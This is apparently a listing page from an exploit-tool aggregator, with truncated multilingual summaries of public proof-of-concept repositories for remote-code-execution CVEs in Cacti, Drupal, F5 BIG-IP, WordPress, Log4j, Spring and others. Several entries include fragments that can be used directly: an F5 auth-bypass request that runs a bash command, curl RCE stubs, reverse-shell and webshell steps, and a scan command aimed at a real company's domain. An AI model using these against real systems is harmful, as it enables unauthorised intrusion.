CVE-2022-46169

Cacti | Bypass de Autenticación | RCE | CVE-2022-46169 Cacti: Exploit de Ejecución Remota de Código No Autenticado en Ruby Cacti Docker Esta es una aplicación dockerizada que es vulnerable a la vulnerabilidad RCE de Cacti CVE-2022-46169. Sigue el enlace para poner Cacti en funcionamiento:...

CVE-2018-7600-Remote-Code-Execution

Drupalgeddon2 Python 漏洞利用工具 CVE-2018-7600 本仓库包含一个基于 Python 的概念验证漏洞利用脚本，针对 Drupal 中的关键远程代码执行漏洞，即 Drupalgeddon2 CVE-2018-7600。该脚本仅用于教育目的及安全专业人员在授权渗透测试场景中使用。 📜 免责声明 此工具仅供合法和道德目的使用。未经所有者明确许可，在任何系统上使用此脚本是非法的。作者和贡献者不对因使用此脚本造成的任何滥用或损害负责。使用风险自负。 漏洞详情 CVE ID : CVE-2018-7600 描述 : 在 Drupal 版本 7.58、8.3.9、8.4...

CVE-2020-15227

CVE-2020-15227 DISCLAIMER! I take no responsibility of using it in wild life environment so please do NOT do it. This thingy is just to demonstrate and for test things for sysadmins I made this exploit according to publishing a CVE of David Grudl The founder of Nette foundation as he did not solv...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: root@kitploit: $ curl -i -s -k -X...

CVE-2024-25600-Bricks-Builder-WordPress

Herramienta de Explotación CVE-2024-25600 🚀 Descripción 📝 Esta herramienta 🛠️ está diseñada para explotar la vulnerabilidad CVE-2024-25600 🕳️ encontrada en el plugin Bricks Builder para WordPress. La vulnerabilidad permite la ejecución remota de código no autenticado en sitios web afectados 💻. La...

CVE-2026-31816

CVE-2026-31816 - Bypass de autenticación a RCE en Budibase CVE-2026-31816 es una vulnerabilidad crítica de bypass de autenticación y autorización que afecta a Budibase. La vulnerabilidad se encuentra en el middleware de autorización del lado del servidor responsable de proteger los endpoints de l...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect anterior a la versión 4.4.1 es vulnerable a la ejecución remota de código no autenticada. Tenga en cuenta que esta vulnerabilidad es causada por el parche incompleto de CVE-2023-37679. PRIMERO: NO SOY RESPONSABLE DE LO QUE HAGAS CON ELLO. SEGUNDO:...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

本项目旨在对Ackme Support Incorporated最近发布的一个博客进行安全审计，在网站公开前识别任何关键漏洞。任务包括寻找远程执行代码并获取目标系统访问权限的方法。 环境与设置 目标系统：易受攻击的虚拟机 应用程序：Fuel CMS 版本：1.4 利用的漏洞：CVE-2018-16763 工具： 来自GitHub的Python利用脚本 nc netcat — 用于接收反弹shell 攻击步骤 1. 应用程序识别 部署易受攻击的虚拟机并通过Web界面访问后，确定该站点运行的是Fuel CMS 1.4版本，该版本存在远程代码执行（RCE）漏洞。 2. 寻找可用的利用脚本...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Versiones de Roundcube Webmail 1.5.0 a 1.6.10 Este es un exploit reescrito para funcionar con PHP. Uso root@kitploit: php CVE-2025-49113.php...

Added-Pentest-Ground-to-vulnerable-websites-for-training

https://vulners.com/cve/CVE-2017-0089 Uniscribe en Microsoft Windows Vista SP2, Windows Server 2008 SP2 y R2 SP1, y Windows 7 SP1 permite a atacantes remotos ejecutar código arbitrario a través de un sitio web manipulado, también conocida como "Vulnerabilidad de ejecución remota de código en...

CVE-2017-1000486

CVE-2017-1000486 Exploit de ejecución remota de código para PrimeFaces 5.x - Inyección de EL CVE-2017-1000486 Básicamente es el mismo exploit creado por Mogwailabs, pero modificado para funcionar en entornos cerrados sin acceso a internet o con tráfico saliente bloqueado por el firewall. Te da lo...

CVE-2023-50164Analysis-

CVE-2023-50164: Apache Struts 易受攻击的应用 一个被标识为 CVE-2023-50164（CVE 评分：9.8）的关键安全漏洞在 Apache Struts 中被发现，该漏洞允许攻击者操纵文件上传参数，可能进而导致未授权路径遍历和远程代码执行（RCE）。 应用 为 CVE 分析开发了一个简单的测试应用。 使用 Docker 文件运行 首先使用 docker build 命令构建应用： root@kitploit: docker build -t exploitable -f DOCKERFILE . 然后，使用 docker run 命令运行应用：...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 的 PoC 和实验环境 安装实验环境 root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

CVE-2023-0297

CVE-2023-0297 pyload 0.5.0b3.dev31 之前的版本中存在RCE漏洞。 免责声明：此脚本可能导致对远程系统的未授权访问或控制；仅在获得系统所有者明确许可后方可使用。...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework 远程代码执行漏洞CVE-2022-22965 漏洞复现环境 root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 写webshell 注意：验证测试时Shell只能写一次， 利用脚本 root@kitploit: python...

CVE-2020-8816

CVE-2020-8816 Pi-hole 远程代码执行（需要认证）版本 = 4.3.2 用法 python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin 示例 更多信息 https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2025-32023

CVE-2025-32023 Ejecución remota de código en operaciones HyperLogLog de Redis Resumen de la vulnerabilidad CVE-2025-32023 es una vulnerabilidad de ejecución remota de código RCE en la base de datos Redis, que afecta específicamente al manejo de las operaciones de la estructura de datos HyperLogLo...

Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Escáner para Log4j RCE CVE-2021-44228 Instalación Para la instalación, ejecute el siguiente comando con SUPERUSUARIO ROOT root@kitploit: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Uso root@kitploit: ▶ log4jExploiter -d tesla.com -b...

CVE-2021-24499

CVE-2021-24499 大规模利用 CVE-2021-24499，未经身份验证的上传导致 Workreap 主题中的远程代码执行。 AJAX 操作 workreapawardtempfileuploader 和 workreaptempfileuploader 未执行 nonce 检查，也未以任何其他方式验证请求是否来自有效用户。这些端点允许将任意文件上传到 uploads/workreap-temp 目录。上传的文件既未经过净化也未进行验证，允许未经身份验证的访客上传可执行代码，例如 php 脚本。...